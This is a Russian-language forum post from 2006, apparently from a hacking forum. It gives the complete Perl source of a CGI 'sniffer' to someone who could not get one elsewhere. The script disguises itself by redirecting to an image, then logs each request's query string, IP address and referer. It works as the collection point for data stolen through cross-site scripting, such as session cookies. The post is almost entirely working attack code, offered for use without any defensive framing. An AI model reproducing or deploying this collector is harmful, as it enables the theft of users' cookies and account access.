
07.11.2006, 11:19
|
|
Постоянный
Регистрация: 08.05.2006
Сообщений: 559
Провел на форуме: 1593567
Репутация:
354
|
|
Если у тебя не получается создать с античата тогда сам напиши
Вот тебе исходник простого cgi-сниффера на перле:
PHP код:
#!/usr/bin/perl
#путь к лог-файлу
$LogFile="log.txt";
#максимальное число записей в лог-файле
$mlength=50;
#делаем редирект на картинку
print "Location: image.gif\n\n";
#читаем CGI запрос
read(STDIN, $input, $ENV{'CONTENT_LENGTH'});
$input = $ENV{'QUERY_STRING'} if $ENV{'QUERY_STRING'};
$input =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
#получаем время запроса и HTTP_REFERER
$now_string = localtime;
$ref = $ENV{'HTTP_REFERER'};
#читаем лог-файл в массив
open (LOG,"$LogFile") || die "Can't Open $LogFile: $!\n";
@LOGtext=<LOG>;
close (LOG);
#открываем на запись лог
open (LOG, ">$LogFile");
#сохраняем данные запроса
print LOG "[$now_string] IP=$ENV{'REMOTE_ADDR'} REFERER=$ref QUERY=$input\n";
#сохраняем остальные логи, так что бы длина лог-файла не превышала mlength
$counter=1;
foreach $LOGitem (@LOGtext)
{
if ($counter<$mlength){ print LOG "$LOGitem"; };
$counter++;
};
#закрываем лог
close (LOG);
exit;
|
|
|